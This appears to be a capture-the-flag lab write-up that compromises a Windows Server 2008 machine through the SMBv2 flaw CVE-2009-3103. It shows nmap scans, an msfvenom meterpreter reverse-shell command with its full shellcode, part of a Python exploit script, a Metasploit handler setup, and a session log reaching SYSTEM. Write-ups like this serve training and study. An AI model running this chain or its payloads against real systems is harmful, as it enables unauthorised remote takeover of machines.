
TL;DR
- Use Nmap to get a list of service running on the target
- Enumerate SMB
- Exploit SMB to get RCE
- No P.E Required
Enumeration
PortScan with Nmap
Start with basic nmap scan on the target machine to reveal the services running.
$ nmap $ip -sVC -oN nmapInitial.txt...PORT STATE SERVICE VERSION53/tcp open domain Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)| dns-nsid:|_ bind.version: Microsoft DNS 6.0.6001 (17714650)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)3389/tcp open ssl/ms-wbt-server?| rdp-ntlm-info:| Target_Name: INTERNAL| NetBIOS_Domain_Name: INTERNAL| NetBIOS_Computer_Name: INTERNAL| DNS_Domain_Name: internal| DNS_Computer_Name: internal| Product_Version: 6.0.6001|_ System_Time: 2021-08-23T06:55:40+00:00| ssl-cert: Subject: commonName=internal| Not valid before: 2020-03-19T16:56:02|_Not valid after: 2020-09-18T16:56:02|_ssl-date: 2021-08-23T06:55:48+00:00; +1s from scanner time.5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Service UnavailableLets do a more thorough scan on SMB.
$ nmap $ip --script "safe or smb-enum-*" -p 139,445...Host script results:|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: EOF| smb-vuln-cve2009-3103:| VULNERABLE:| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)| State: VULNERABLE| IDs: CVE:CVE-2009-3103| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,| aka "SMBv2 Negotiation Vulnerability."| Disclosure date: 2009-09-08| References:| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103|_smb-vuln-ms10-054: false|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: EOFSeems like the SMB running on the target machine is vulnerable some kind of code execution. Searching the CVE leads us to the following exploit on exploitdb.
https://www.exploit-db.com/exploits/40280
Exploitation
For the exploit, we need to generate the shell code. Use msfvenom to generate as follows.
# Make sure to change `LHOST` and `LPORT` accordingly.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.209 LPORT=5357 EXITFUNC=thread -f c[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payloadPayload size: 375 bytesFinal size of c file: 1599 bytesunsigned char buf[] ="\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30""\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49""\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78""\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3""\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1""\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24""\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c""\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59""\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d""\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26""\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68""\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02""\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61""\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00""\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83""\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a""\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57""\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00""\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68""\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff""\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb""\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a""\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";Copy the generated shell code and paste it in the exploit.
import tempfileimport sysimport subprocessfrom socket import socketfrom time import sleepfrom smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]except IndexError: print '\nUsage: %s <target ip>\n' % sys.argv[0] print 'Example: MS36299.py 192.168.1.1 1\n' sys.exit(-1)
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f pythonshell =("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30""\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49""\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78""\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3""\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1""\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24""\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c""\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59""\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d""\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26""\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68""\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02""\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61""\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00""\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83""\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a""\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57""\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00""\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68""\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff""\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb""\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a""\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
host = target, 445...Note
This exploit is written in python2 and requires pysmb module to run. If it is not available in your system install it by using following command.
pip2.7 install pysmbInstall pip2.7 if it is not installed in your system:
curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.pysudo python get-pip.pyNow run a multi/handler in msfconsole so that you can receive the reverse connection.
$ msfconsole -qmsf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be spec ified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf6 exploit(multi/handler) > set lhost tun0lhost => 192.168.49.209msf6 exploit(multi/handler) > set lport 5357lport => 5357msf6 exploit(multi/handler) > set payload /windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.49.209:5357Now you simply run the exploit and you will get the shell with nt authority\system privileges.
### running the exploit$ python exploit.py 192.168.209.40Enter WORKGROUP\Administrator's password:
### In msfconsole
[*] Sending stage (175174 bytes) to 192.168.209.40[*] Meterpreter session 1 opened (192.168.49.209:5357 -> 192.168.209.40:49159) at 2021-08-23 04:11:56 -0400
meterpreter > shellProcess 1864 created.Channel 1 created.Microsoft Windows [Version 6.0.6001]Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoamiwhoamint authority\systemC:\Users\Administrator\Desktop>type network-secret.txttype network-secret.txt<Redacted>C:\Users\Administrator\Desktop>type proof.txttype proof.txt<Redacted>